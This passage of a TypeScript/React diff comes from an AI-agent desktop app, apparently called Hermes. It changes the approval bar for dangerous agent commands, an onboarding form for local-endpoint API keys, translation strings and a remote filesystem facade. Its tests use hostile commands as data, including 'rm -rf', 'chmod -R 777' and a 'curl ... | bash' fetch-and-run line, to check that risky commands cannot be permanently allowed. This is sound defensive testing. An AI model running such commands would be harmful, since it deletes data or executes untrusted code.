// doesn't implement; stub them so the menu can open in tests.
|
||||
beforeAll(() => {
|
||||
const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
|
||||
|
||||
const stubs: Record<string, () => unknown> = {
|
||||
hasPointerCapture: () => false,
|
||||
releasePointerCapture: () => undefined,
|
||||
scrollIntoView: () => undefined,
|
||||
setPointerCapture: () => undefined
|
||||
}
|
||||
|
||||
for (const [name, fn] of Object.entries(stubs)) {
|
||||
proto[name] ??= fn
|
||||
}
|
||||
})
|
||||
|
||||
function part(toolName: string): ToolPart {
|
||||
return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
|
||||
}
|
||||
|
||||
function setRequest(command = 'rm -rf /tmp/x') {
|
||||
function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
|
||||
$activeSessionId.set('sess-1')
|
||||
setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
}
|
||||
|
||||
function mockGateway() {
|
||||
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
|
||||
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
|
||||
})
|
||||
})
|
||||
|
||||
it('offers "Always allow" in the options menu by default', async () => {
|
||||
setRequest('chmod -R 777 /tmp/x')
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
|
||||
expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
})
|
||||
|
||||
it('hides "Always allow" when the backend disallows a permanent allow', async () => {
|
||||
// tirith content-security warning present → allowPermanent=false.
|
||||
setRequest('curl https://bit.ly/abc | bash', false)
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
// The session + reject options still render, but never the permanent allow.
|
||||
expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
// it goes through a confirm step rather than firing straight from the menu.
|
||||
const [confirmAlways, setConfirmAlways] = useState(false)
|
||||
const busy = submitting !== null
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
const allowPermanent = request.allowPermanent !== false
|
||||
|
||||
const respond = useCallback(
|
||||
async (choice: ApprovalChoice) => {
|
||||
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="start" className="min-w-44">
|
||||
<DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
{allowPermanent && (
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
<DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
|
||||
{copy.reject}
|
||||
</DropdownMenuItem>
|
||||
|
||||
@@ -279,11 +279,14 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
|
||||
const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
|
||||
|
||||
// The header trailing slot only carries the live duration timer while the
|
||||
// tool is running. The copy control used to live here too, but an
|
||||
// `opacity-0` (yet still clickable) button straddling the caret/duration made
|
||||
// the disclosure caret hard to hit. Copy now lives in the expanded body's
|
||||
// top-right, where it can't fight the caret for the right edge.
|
||||
const trailing =
|
||||
isPending && !embedded ? (
|
||||
<ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} />
|
||||
) : !isPending && copyAction.text ? (
|
||||
<CopyButton appearance="tool-row" label={copyAction.label} stopPropagation text={copyAction.text} />
|
||||
) : undefined
|
||||
|
||||
return (
|
||||
@@ -322,7 +325,18 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
</div>
|
||||
{isPending && <PendingToolApproval part={part} />}
|
||||
{open && (
|
||||
<div className="grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
<div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
{copyAction.text && (
|
||||
<CopyButton
|
||||
appearance="inline"
|
||||
className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/80 px-1 opacity-60 backdrop-blur-sm transition-opacity hover:opacity-100 focus-visible:opacity-100"
|
||||
iconClassName="size-3"
|
||||
label={copyAction.label}
|
||||
showLabel={false}
|
||||
stopPropagation
|
||||
text={copyAction.text}
|
||||
/>
|
||||
)}
|
||||
{!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
|
||||
<PreviewAttachment source="tool-result" target={view.previewTarget} />
|
||||
)}
|
||||
|
||||
@@ -127,7 +127,9 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
|
||||
const nodes = useMemo(() => splitInlineCode(text), [text])
|
||||
|
||||
return (
|
||||
<span className="wrap-anywhere block whitespace-pre-line">
|
||||
// styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
|
||||
// UAX#9 paragraph so it resolves direction independently.
|
||||
<span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
|
||||
{nodes.map((node, nodeIndex) =>
|
||||
node.kind === 'inline-code' ? (
|
||||
<code
|
||||
|
||||
@@ -26,7 +26,8 @@ function setProviders(providers: OAuthProvider[]) {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
} satisfies DesktopOnboardingState)
|
||||
}
|
||||
|
||||
@@ -49,7 +50,8 @@ afterEach(() => {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -430,19 +430,24 @@ const persistShowAll = (value: boolean) => {
|
||||
|
||||
export function Picker({ ctx }: { ctx: OnboardingContext }) {
|
||||
const { t } = useI18n()
|
||||
const { manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const [showAll, setShowAll] = useState(readShowAll)
|
||||
const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
|
||||
const hasOauth = ordered.length > 0
|
||||
const apiKeyOptions = useApiKeyCatalog()
|
||||
|
||||
if (mode === 'apikey' || !hasOauth) {
|
||||
// localEndpoint forces the key form regardless of `mode` (which a manual
|
||||
// provider refresh may flip back to 'oauth'); it preselects the local option
|
||||
// and hides the "back to sign in" link since the user came specifically to
|
||||
// configure a custom endpoint.
|
||||
if (localEndpoint || mode === 'apikey' || !hasOauth) {
|
||||
return (
|
||||
<div className="grid gap-3">
|
||||
<ApiKeyForm
|
||||
canGoBack={hasOauth}
|
||||
canGoBack={hasOauth && !localEndpoint}
|
||||
initialEnvKey={localEndpoint ? 'OPENAI_BASE_URL' : undefined}
|
||||
onBack={() => setOnboardingMode('oauth')}
|
||||
onSave={(envKey, value, name) => saveOnboardingApiKey(envKey, value, name, ctx)}
|
||||
onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
|
||||
options={apiKeyOptions}
|
||||
/>
|
||||
{manual ? null : (
|
||||
@@ -630,6 +635,7 @@ export function ProviderRow({
|
||||
// surfaces render the identical form.
|
||||
export function ApiKeyForm({
|
||||
canGoBack,
|
||||
initialEnvKey,
|
||||
isSet,
|
||||
onBack,
|
||||
onClear,
|
||||
@@ -638,16 +644,31 @@ export function ApiKeyForm({
|
||||
redactedValue
|
||||
}: {
|
||||
canGoBack: boolean
|
||||
/** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
|
||||
* the local / custom endpoint form). Falls back to the first option. */
|
||||
initialEnvKey?: string
|
||||
isSet?: (envKey: string) => boolean
|
||||
onBack: () => void
|
||||
onClear?: (envKey: string) => void
|
||||
onSave: (envKey: string, value: string, name: string) => Promise<{ message?: string; ok: boolean }>
|
||||
onSave: (
|
||||
envKey: string,
|
||||
value: string,
|
||||
name: string,
|
||||
apiKey?: string
|
||||
) => Promise<{ message?: string; ok: boolean }>
|
||||
options?: ApiKeyOption[]
|
||||
redactedValue?: (envKey: string) => null | string | undefined
|
||||
}) {
|
||||
const { t } = useI18n()
|
||||
const [option, setOption] = useState<ApiKeyOption>(options[0])
|
||||
|
||||
const [option, setOption] = useState<ApiKeyOption>(
|
||||
() => options.find(o => o.envKey === initialEnvKey) ?? options[0]
|
||||
)
|
||||
|
||||
const [value, setValue] = useState('')
|
||||
// Optional endpoint API key, only used by the local / custom endpoint option
|
||||
// (whose `value` is the base URL). Cleared whenever the option changes.
|
||||
const [localKey, setLocalKey] = useState('')
|
||||
const [saving, setSaving] = useState(false)
|
||||
const [error, setError] = useState<null | string>(null)
|
||||
// `options` can change at runtime when callers filter the catalog (e.g. the
|
||||
@@ -657,6 +678,7 @@ export function ApiKeyForm({
|
||||
if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
|
||||
setOption(options[0])
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
}
|
||||
}, [option.envKey, options])
|
||||
@@ -668,6 +690,7 @@ export function ApiKeyForm({
|
||||
const pick = (o: ApiKeyOption) => {
|
||||
setOption(o)
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
requestAnimationFrame(() => {
|
||||
entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
|
||||
@@ -693,10 +716,11 @@ export function ApiKeyForm({
|
||||
|
||||
setSaving(true)
|
||||
setError(null)
|
||||
const result = await onSave(option.envKey, value, option.name)
|
||||
const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
|
||||
|
||||
if (result.ok) {
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
} else {
|
||||
setError(result.message ?? t.onboarding.couldNotSave)
|
||||
}
|
||||
@@ -759,6 +783,17 @@ export function ApiKeyForm({
|
||||
type={isLocal ? 'text' : 'password'}
|
||||
value={value}
|
||||
/>
|
||||
{isLocal ? (
|
||||
<Input
|
||||
autoComplete="off"
|
||||
className="font-mono"
|
||||
onChange={e => setLocalKey(e.target.value)}
|
||||
onKeyDown={e => e.key === 'Enter' && void submit()}
|
||||
placeholder={t.onboarding.localApiKeyPlaceholder}
|
||||
type="password"
|
||||
value={localKey}
|
||||
/>
|
||||
) : null}
|
||||
{error ? <p className="text-xs text-destructive">{error}</p> : null}
|
||||
</div>
|
||||
|
||||
|
||||
@@ -41,7 +41,8 @@ function resetStores() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -14,6 +14,8 @@ import {
|
||||
$visibleModels,
|
||||
collapseModelFamilies,
|
||||
effectiveVisibleKeys,
|
||||
emptyProviderSentinelKey,
|
||||
isProviderSentinel,
|
||||
modelVisibilityKey,
|
||||
setVisibleModels
|
||||
} from '@/store/model-visibility'
|
||||
@@ -61,10 +63,21 @@ export function ModelVisibilityDialog({
|
||||
const toggle = (provider: ModelOptionProvider, model: string) => {
|
||||
const next = new Set(effectiveVisibleKeys($visibleModels.get(), providers))
|
||||
const key = modelVisibilityKey(provider.slug, model)
|
||||
const sentinel = emptyProviderSentinelKey(provider.slug)
|
||||
|
||||
if (next.has(key)) {
|
||||
next.delete(key)
|
||||
|
||||
// Check if this was the last real model for this provider.
|
||||
const remainingForProvider = [...next].some(
|
||||
k => k.startsWith(`${provider.slug}::`) && !isProviderSentinel(k)
|
||||
)
|
||||
|
||||
if (!remainingForProvider) {
|
||||
next.add(sentinel)
|
||||
}
|
||||
} else {
|
||||
next.delete(sentinel)
|
||||
next.add(key)
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import { Dialog as DialogPrimitive } from 'radix-ui'
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { listSessions } from '@/hermes'
|
||||
import { listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { Check, MessageCircle } from '@/lib/icons'
|
||||
@@ -35,7 +35,7 @@ export function SessionPickerDialog({
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
enabled: open,
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
queryKey: ['session-picker', 'sessions']
|
||||
})
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Vendored
+4
@@ -75,6 +75,10 @@ declare global {
|
||||
}
|
||||
onClosePreviewRequested?: (callback: () => void) => () => void
|
||||
onOpenUpdatesRequested?: (callback: () => void) => () => void
|
||||
onDeepLink?: (
|
||||
callback: (payload: { kind: string; name: string; params: Record<string, string> }) => void,
|
||||
) => () => void
|
||||
signalDeepLinkReady?: () => Promise<{ ok: boolean }>
|
||||
onWindowStateChanged?: (callback: (payload: HermesWindowState) => void) => () => void
|
||||
onPreviewFileChanged: (callback: (payload: HermesPreviewFileChanged) => void) => () => void
|
||||
onBackendExit: (callback: (payload: BackendExit) => void) => () => void
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { listAllProfileSessions, listSessions } from './hermes'
|
||||
import { getSessionMessages, listAllProfileSessions, listSessions } from './hermes'
|
||||
|
||||
const emptySessionsResponse = {
|
||||
limit: 0,
|
||||
@@ -46,4 +46,15 @@ describe('Hermes REST session helpers', () => {
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('tags cross-profile message reads for Electron routing and backend lookup', async () => {
|
||||
api.mockResolvedValue({ messages: [], session_id: 'session-1' })
|
||||
|
||||
await getSessionMessages('session-1', 'xiaoxuxu')
|
||||
|
||||
expect(api).toHaveBeenCalledWith({
|
||||
path: '/api/sessions/session-1/messages?profile=xiaoxuxu',
|
||||
profile: 'xiaoxuxu'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
@@ -54,10 +54,10 @@ export type {
|
||||
AnalyticsSkillEntry,
|
||||
AnalyticsSkillsSummary,
|
||||
AnalyticsTotals,
|
||||
BackendUpdateCheckResponse,
|
||||
AudioSpeakResponse,
|
||||
AudioTranscriptionResponse,
|
||||
AuxiliaryModelsResponse,
|
||||
BackendUpdateCheckResponse,
|
||||
ConfigFieldSchema,
|
||||
ConfigSchemaResponse,
|
||||
CronJob,
|
||||
@@ -218,6 +218,7 @@ export function getSessionMessages(id: string, profile?: string | null): Promise
|
||||
const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
|
||||
|
||||
return window.hermesDesktop.api<SessionMessagesResponse>({
|
||||
...(profile ? { profile } : {}),
|
||||
path: `/api/sessions/${encodeURIComponent(id)}/messages${suffix}`
|
||||
})
|
||||
}
|
||||
@@ -343,13 +344,14 @@ export function setEnvVar(key: string, value: string): Promise<{ ok: boolean }>
|
||||
|
||||
export function validateProviderCredential(
|
||||
key: string,
|
||||
value: string
|
||||
value: string,
|
||||
apiKey?: string
|
||||
): Promise<{ ok: boolean; reachable: boolean; message: string; models?: string[] }> {
|
||||
return window.hermesDesktop.api<{ ok: boolean; reachable: boolean; message: string; models?: string[] }>({
|
||||
...profileScoped(),
|
||||
path: '/api/providers/validate',
|
||||
method: 'POST',
|
||||
body: { key, value }
|
||||
body: { key, value, api_key: apiKey ?? '' }
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -1372,6 +1372,7 @@ export const en: Translations = {
|
||||
getKey: 'Get a key',
|
||||
replaceCurrent: 'Replace current value',
|
||||
pasteApiKey: 'Paste API key',
|
||||
localApiKeyPlaceholder: 'API key (optional — only if your endpoint requires one)',
|
||||
couldNotSave: 'Could not save credential.',
|
||||
connecting: 'Connecting',
|
||||
update: 'Update',
|
||||
@@ -1532,6 +1533,9 @@ export const en: Translations = {
|
||||
terminal: 'Terminal',
|
||||
noFolderSelected: 'No folder selected',
|
||||
changeCwdTitle: 'Change working directory',
|
||||
remotePickerTitle: 'Choose remote folder',
|
||||
remotePickerDescription: 'Browse folders on the connected backend.',
|
||||
remotePickerSelect: 'Select folder',
|
||||
folderTip: cwd => `${cwd} — click to change folder`,
|
||||
openFolder: 'Open folder',
|
||||
refreshTree: 'Refresh tree',
|
||||
|
||||
@@ -1665,6 +1665,9 @@ export const ja = defineLocale({
|
||||
terminal: 'ターミナル',
|
||||
noFolderSelected: 'フォルダーが選択されていません',
|
||||
changeCwdTitle: '作業ディレクトリを変更',
|
||||
remotePickerTitle: 'リモートフォルダーを選択',
|
||||
remotePickerDescription: '接続中のバックエンド上のフォルダーを参照します。',
|
||||
remotePickerSelect: 'フォルダーを選択',
|
||||
folderTip: cwd => `${cwd} — クリックしてフォルダーを変更`,
|
||||
openFolder: 'フォルダーを開く',
|
||||
refreshTree: 'ツリーを更新',
|
||||
|
||||
@@ -1041,6 +1041,7 @@ export interface Translations {
|
||||
getKey: string
|
||||
replaceCurrent: string
|
||||
pasteApiKey: string
|
||||
localApiKeyPlaceholder: string
|
||||
couldNotSave: string
|
||||
connecting: string
|
||||
update: string
|
||||
@@ -1194,6 +1195,9 @@ export interface Translations {
|
||||
terminal: string
|
||||
noFolderSelected: string
|
||||
changeCwdTitle: string
|
||||
remotePickerTitle: string
|
||||
remotePickerDescription: string
|
||||
remotePickerSelect: string
|
||||
folderTip: (cwd: string) => string
|
||||
openFolder: string
|
||||
refreshTree: string
|
||||
|
||||
@@ -1626,6 +1626,9 @@ export const zhHant = defineLocale({
|
||||
terminal: '終端機',
|
||||
noFolderSelected: '未選擇資料夾',
|
||||
changeCwdTitle: '變更工作目錄',
|
||||
remotePickerTitle: '選擇遠端資料夾',
|
||||
remotePickerDescription: '瀏覽已連線後端上的資料夾。',
|
||||
remotePickerSelect: '選擇資料夾',
|
||||
folderTip: cwd => `${cwd} — 點擊以變更資料夾`,
|
||||
openFolder: '開啟資料夾',
|
||||
refreshTree: '重新整理檔案樹',
|
||||
|
||||
@@ -1554,6 +1554,7 @@ export const zh: Translations = {
|
||||
getKey: '获取密钥',
|
||||
replaceCurrent: '替换当前值',
|
||||
pasteApiKey: '粘贴 API 密钥',
|
||||
localApiKeyPlaceholder: 'API 密钥(可选 — 仅当端点需要时填写)',
|
||||
couldNotSave: '无法保存凭据。',
|
||||
connecting: '连接中',
|
||||
update: '更新',
|
||||
@@ -1712,6 +1713,9 @@ export const zh: Translations = {
|
||||
terminal: '终端',
|
||||
noFolderSelected: '未选择文件夹',
|
||||
changeCwdTitle: '更改工作目录',
|
||||
remotePickerTitle: '选择远程文件夹',
|
||||
remotePickerDescription: '浏览已连接后端上的文件夹。',
|
||||
remotePickerSelect: '选择文件夹',
|
||||
folderTip: cwd => `${cwd} — 点击更改文件夹`,
|
||||
openFolder: '打开文件夹',
|
||||
refreshTree: '刷新文件树',
|
||||
|
||||
@@ -58,6 +58,8 @@ export type GatewayEventPayload = {
|
||||
// approval.request (dangerous command / execute_code) — session-keyed
|
||||
command?: string
|
||||
description?: string
|
||||
// False when a tirith content-security warning forbids a permanent allow.
|
||||
allow_permanent?: boolean
|
||||
// secret.request (skill credential capture)
|
||||
env_var?: string
|
||||
prompt?: string
|
||||
|
||||
@@ -46,6 +46,7 @@ export function createClientSessionState(
|
||||
serviceTier: '',
|
||||
fast: false,
|
||||
yolo: false,
|
||||
personality: '',
|
||||
busy: false,
|
||||
awaitingResponse: false,
|
||||
streamId: null,
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import {
|
||||
desktopDefaultCwd,
|
||||
desktopGitRoot,
|
||||
readDesktopDir,
|
||||
readDesktopFileDataUrl,
|
||||
readDesktopFileText,
|
||||
selectDesktopPaths,
|
||||
setDesktopFsRemotePicker
|
||||
} from './desktop-fs'
|
||||
|
||||
const readDir = vi.fn(async () => ({ entries: [{ name: 'local', path: '/local', isDirectory: true }] }))
|
||||
const readFileText = vi.fn(async () => ({ path: '/local/file.txt', text: 'local', byteSize: 5 }))
|
||||
const readFileDataUrl = vi.fn(async () => 'data:text/plain;base64,bG9jYWw=')
|
||||
const gitRoot = vi.fn(async () => '/local')
|
||||
const selectPaths = vi.fn(async () => ['/local'])
|
||||
const api = vi.fn(async ({ path }: { path: string }) => {
|
||||
if (path.startsWith('/api/fs/list?')) return { entries: [{ name: 'remote', path: '/remote', isDirectory: true }] }
|
||||
if (path.startsWith('/api/fs/read-text?')) return { path: '/remote/file.txt', text: 'remote', byteSize: 6 }
|
||||
if (path.startsWith('/api/fs/read-data-url?')) return { dataUrl: 'data:text/plain;base64,cmVtb3Rl' }
|
||||
if (path.startsWith('/api/fs/git-root?')) return { root: '/remote' }
|
||||
if (path === '/api/fs/default-cwd') return { cwd: '/backend/project', branch: 'main' }
|
||||
throw new Error(`unexpected path ${path}`)
|
||||
})
|
||||
|
||||
function stubBridge() {
|
||||
vi.stubGlobal('window', {
|
||||
hermesDesktop: {
|
||||
api,
|
||||
gitRoot,
|
||||
readDir,
|
||||
readFileDataUrl,
|
||||
readFileText,
|
||||
selectPaths
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
describe('desktop filesystem facade', () => {
|
||||
beforeEach(() => {
|
||||
stubBridge()
|
||||
$connection.set(null)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals()
|
||||
vi.clearAllMocks()
|
||||
$connection.set(null)
|
||||
setDesktopFsRemotePicker(null)
|
||||
})
|
||||
|
||||
it('uses local Electron filesystem methods in local mode', async () => {
|
||||
$connection.set({ mode: 'local' } as never)
|
||||
|
||||
await expect(readDesktopDir('/work')).resolves.toEqual({ entries: [{ name: 'local', path: '/local', isDirectory: true }] })
|
||||
await expect(readDesktopFileText('/work/file.txt')).resolves.toMatchObject({ text: 'local' })
|
||||
await expect(readDesktopFileDataUrl('/work/file.txt')).resolves.toBe('data:text/plain;base64,bG9jYWw=')
|
||||
await expect(desktopGitRoot('/work')).resolves.toBe('/local')
|
||||
await expect(selectDesktopPaths({ directories: true })).resolves.toEqual(['/local'])
|
||||
|
||||
expect(readDir).toHaveBeenCalledWith('/work')
|
||||
expect(readFileText).toHaveBeenCalledWith('/work/file.txt')
|
||||
expect(readFileDataUrl).toHaveBeenCalledWith('/work/file.txt')
|
||||
expect(gitRoot).toHaveBeenCalledWith('/work')
|
||||
expect(selectPaths).toHaveBeenCalledWith({ directories: true })
|
||||
expect(api).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('routes filesystem reads through authenticated backend REST in remote mode', async () => {
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
|
||||
await expect(readDesktopDir('/home/user/project')).resolves.toMatchObject({ entries: [{ name: 'remote' }] })
|
||||
await expect(readDesktopFileText('/home/user/project/a b.txt')).resolves.toMatchObject({ text: 'remote' })
|
||||
await expect(readDesktopFileDataUrl('/home/user/project/a b.txt')).resolves.toBe('data:text/plain;base64,cmVtb3Rl')
|
||||
await expect(desktopGitRoot('/home/user/project')).resolves.toBe('/remote')
|
||||
await expect(desktopDefaultCwd()).resolves.toEqual({ cwd: '/backend/project', branch: 'main' })
|
||||
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/list?path=%2Fhome%2Fuser%2Fproject' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/read-text?path=%2Fhome%2Fuser%2Fproject%2Fa%20b.txt' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/read-data-url?path=%2Fhome%2Fuser%2Fproject%2Fa%20b.txt' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/git-root?path=%2Fhome%2Fuser%2Fproject' })
|
||||
expect(api).toHaveBeenCalledWith({ path: '/api/fs/default-cwd' })
|
||||
expect(readDir).not.toHaveBeenCalled()
|
||||
expect(readFileText).not.toHaveBeenCalled()
|
||||
expect(readFileDataUrl).not.toHaveBeenCalled()
|
||||
expect(gitRoot).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('uses the registered in-app directory picker in remote mode', async () => {
|
||||
const remoteSelect = vi.fn(async () => ['/remote/project'])
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
setDesktopFsRemotePicker({ selectPaths: remoteSelect })
|
||||
|
||||
await expect(selectDesktopPaths({ defaultPath: '/remote', directories: true, multiple: false })).resolves.toEqual([
|
||||
'/remote/project'
|
||||
])
|
||||
|
||||
expect(remoteSelect).toHaveBeenCalledWith({ defaultPath: '/remote', directories: true, multiple: false })
|
||||
expect(selectPaths).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('does not treat the remote directory picker as a general file picker', async () => {
|
||||
const remoteSelect = vi.fn(async () => ['/remote/project'])
|
||||
$connection.set({ mode: 'remote' } as never)
|
||||
setDesktopFsRemotePicker({ selectPaths: remoteSelect })
|
||||
|
||||
await expect(selectDesktopPaths({ directories: false, multiple: false })).resolves.toEqual([])
|
||||
await expect(selectDesktopPaths({ directories: true, multiple: true })).resolves.toEqual([])
|
||||
|
||||
expect(remoteSelect).not.toHaveBeenCalled()
|
||||
expect(selectPaths).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,95 @@
|
||||
import { $connection } from '@/store/session'
|
||||
|
||||
import type { HermesConnection, HermesReadDirResult, HermesReadFileTextResult, HermesSelectPathsOptions } from '@/global'
|
||||
|
||||
export interface DesktopFsRemotePicker {
|
||||
selectPaths: (options?: HermesSelectPathsOptions) => Promise<string[]>
|
||||
}
|
||||
|
||||
let remotePicker: DesktopFsRemotePicker | null = null
|
||||
|
||||
export function setDesktopFsRemotePicker(next: DesktopFsRemotePicker | null) {
|
||||
remotePicker = next
|
||||
}
|
||||
|
||||
function connectionCacheKey(connection: HermesConnection | null) {
|
||||
if (!connection) {
|
||||
return 'local:'
|
||||
}
|
||||
return `${connection.mode || 'local'}:${connection.profile || ''}:${connection.baseUrl || ''}`
|
||||
}
|
||||
|
||||
export function desktopFsCacheKey() {
|
||||
return connectionCacheKey($connection.get())
|
||||
}
|
||||
|
||||
export function isDesktopFsRemoteMode() {
|
||||
return $connection.get()?.mode === 'remote'
|
||||
}
|
||||
|
||||
function fsPath(endpoint: string, filePath: string) {
|
||||
return `/api/fs/${endpoint}?path=${encodeURIComponent(filePath)}`
|
||||
}
|
||||
|
||||
function bridge() {
|
||||
const desktop = window.hermesDesktop
|
||||
if (!desktop) {
|
||||
throw new Error('Hermes Desktop bridge is unavailable')
|
||||
}
|
||||
return desktop
|
||||
}
|
||||
|
||||
export async function readDesktopDir(path: string): Promise<HermesReadDirResult> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.readDir(path)
|
||||
}
|
||||
return desktop.api<HermesReadDirResult>({ path: fsPath('list', path) })
|
||||
}
|
||||
|
||||
export async function readDesktopFileText(path: string): Promise<HermesReadFileTextResult> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.readFileText(path)
|
||||
}
|
||||
return desktop.api<HermesReadFileTextResult>({ path: fsPath('read-text', path) })
|
||||
}
|
||||
|
||||
export async function readDesktopFileDataUrl(path: string): Promise<string> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.readFileDataUrl(path)
|
||||
}
|
||||
|
||||
const result = await desktop.api<string | { dataUrl?: string }>({ path: fsPath('read-data-url', path) })
|
||||
return typeof result === 'string' ? result : result.dataUrl || ''
|
||||
}
|
||||
|
||||
export async function desktopGitRoot(path: string): Promise<string | null> {
|
||||
const desktop = bridge()
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return desktop.gitRoot ? desktop.gitRoot(path) : null
|
||||
}
|
||||
|
||||
const result = await desktop.api<{ root: string | null }>({ path: fsPath('git-root', path) })
|
||||
return result.root
|
||||
}
|
||||
|
||||
export async function desktopDefaultCwd(): Promise<{ branch: string; cwd: string } | null> {
|
||||
if (!isDesktopFsRemoteMode()) {
|
||||
return null
|
||||
}
|
||||
|
||||
return bridge().api<{ branch: string; cwd: string }>({ path: '/api/fs/default-cwd' })
|
||||
}
|
